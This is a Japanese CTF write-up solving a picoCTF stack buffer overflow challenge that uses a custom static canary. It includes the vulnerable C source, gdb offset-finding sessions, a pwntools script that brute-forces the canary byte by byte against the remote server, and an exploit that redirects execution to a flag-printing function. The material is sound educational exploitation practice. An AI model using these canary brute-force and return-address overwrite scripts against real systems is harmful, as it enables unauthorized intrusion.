問題概要
この問題のプログラムには、canaryというバッファオーバーフローを検知すると強制終了する仕組みがある。
それをどう回避し、関数のアドレスを飛ばすかがこの問題の勘所である。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f); // size bound read
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
exit(-1);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
$ checksec vuln
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
解法
offset特定
まずはcanaryまでのoffsetを求めよう。
$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gdb-peda$ pdisas vuln
Dump of assembler code for function vuln:
(省略)
0x08049534 <+211>: call 0x8049180 <memcmp@plt>
(省略)
gdb-peda$ b *0x08049534
Breakpoint 1 at 0x8049534
gdb-peda$ pattc 120
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
gdb-peda$ r
How Many Bytes will You Write Into the Buffer?
> 120
Input> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA
[------------------------------------stack-------------------------------------]
0000| 0xffffcd20 --> 0xffffcdb8 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA")
0004| 0xffffcd24 --> 0x804c054 ("abcd")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08049534 in vuln ()
gdb-peda$
gdb-peda$ patto AAdA
AAdA found at offset: 64
memcmpをコールする直前にbreakpointを設定し、パターン文字列を入力した。
このmemcmpは、0xffffcd20の"AAda...."と、0xffffcd24の("abcd")を比べる。
stack上の"abcd"は、自分で入力した仮のcanaryである。
すなわち、0xffffcd20をcanaryと一致させればよく、そこまでのoffsetは64である。
同様に、リターンアドレスまでのoffsetを求めよう。先ほどのbreakpointは外してある。
$ gdb -q vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
gdb-peda$ pattc 64
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH'
gdb-peda$ r
How Many Bytes will You Write Into the Buffer?
> 132
Input> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHabcdAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH
Ok... Now Where's the Flag?
(省略)
EIP: 0x41434141 ('AACA')
(省略)
gdb-peda$ patto AACA
AACA found at offset: 16
そうすると、canaryからリターンアドレスまでのoffsetは16と判明する。
canary特定
ここで一つ問題が発生する。canaryは、標的サーバーのcanary.txtにより定められるため、我々はcanaryを知りえないということだ。
これが問題の一番の肝である。
ここでヒントを見てみよう。
Maybe there's a smart way to brute-force the canary?
つまり、canaryをブルートフォースすればよい。ただし、"smart way"すなわち賢い方法でやらなければならない。
なぜか。canaryの長さは4であり、それぞれの文字はASCIIで0~255(0x00~0xff)の値を取りうる。
そうなると、ブルートフォースの回数は最悪で
$$ 256^4 = 4294967296 \simeq 4.2 \times 10^9 回となる $$
近代的なコンピュータは一秒間に数億回の演算ができるとはいえ、外部との通信には時間がかかる上に、picoCTFのサーバーに42億回も通信を送っては迷惑だろう。
どうすればよいか。
単刀直入に言えば、1文字ずつ特定すればよいのである。
そこで、canaryがどう書き換わるかについて考える。ここでは仮にcanaryを"abcd"とする。
本来、canaryは"abcd"という正しい文字列である。canaryまでのoffsetは64なので、65個の"A"を入力すれば、canaryは"Abcd"となってしまい、***** Stack Smashing Detected *****となってしまう。
だが、ブルートフォースをする中で仮に最後の1文字が"a"となれば、canaryは"abcd"のままであり、エラーは発生しない。
即ち、canaryの一文字目が"a"であることが特定できる。
この場合、最悪で通信回数は
$$ 256 \times 4 = 1024回 $$
となるため、現実的な時間でcanaryを特定できる。
(ところで、改行文字が入り、64個のAと1個のaを入力してもcanaryが"a\ncd"となるのではないかという指摘をtwitterで見たが、それの回避のために最初に入力するバイト数を聞かれているのである。)
canary特定のために以下のスクリプトを書いた。
import time
from pwn import *
canary = ""
while len(canary) < 4:
for i in range(256):
io = remote("<picoCTFのアドレス>", <攻撃したいポート>)
offset_canary = 64
payload = b"A" * offset_canary
payload += canary.encode()
payload += p8(i)
print(f"i = {i}")
print(payload)
io.recvuntil(b">")
num_bytes = offset_canary + len(canary) + 1
io.sendline(str(num_bytes).encode())
io.recvuntil(b">")
io.sendline(payload)
line = io.recvline()
print(line)
if "Stack" not in str(line):
canary += chr(i)
log.info(f"Part of canary: {canary}")
break
time.sleep(0.3) # picoCTF運営への配慮
print(f"canary: {canary}")
exploit
win関数のアドレスを調べると
$ objdump -D -M intel vuln | grep win
08049336 <win>:
804936c: 75 2a jne 8049398 <win+0x62>
0x08049336であることが判明した。あとは、canaryを回避しこのアドレスに飛ばせばよい。
スクリプトを以下に記す。
from pwn import *
io = remote("<picoCTFのアドレス>", <攻撃したいポート>)
offset_canary = 64
offset_ret = 16
win = 0x08049336
payload = b"A" * offset_canary
payload += b"<特定したcanary>"
payload += b"A" * offset_ret
payload += p32(win)
print(payload)
io.recvuntil(b">")
io.sendline(b"128")
io.recvuntil(b">")
io.sendline(payload)
io.interactive()
以上のプログラムを実行すると、flagが得られた。
使用したライブラリ
- pwntools(もう僕はこれなしではpwnできないかもしれないというほど便利なpythonライブラリ)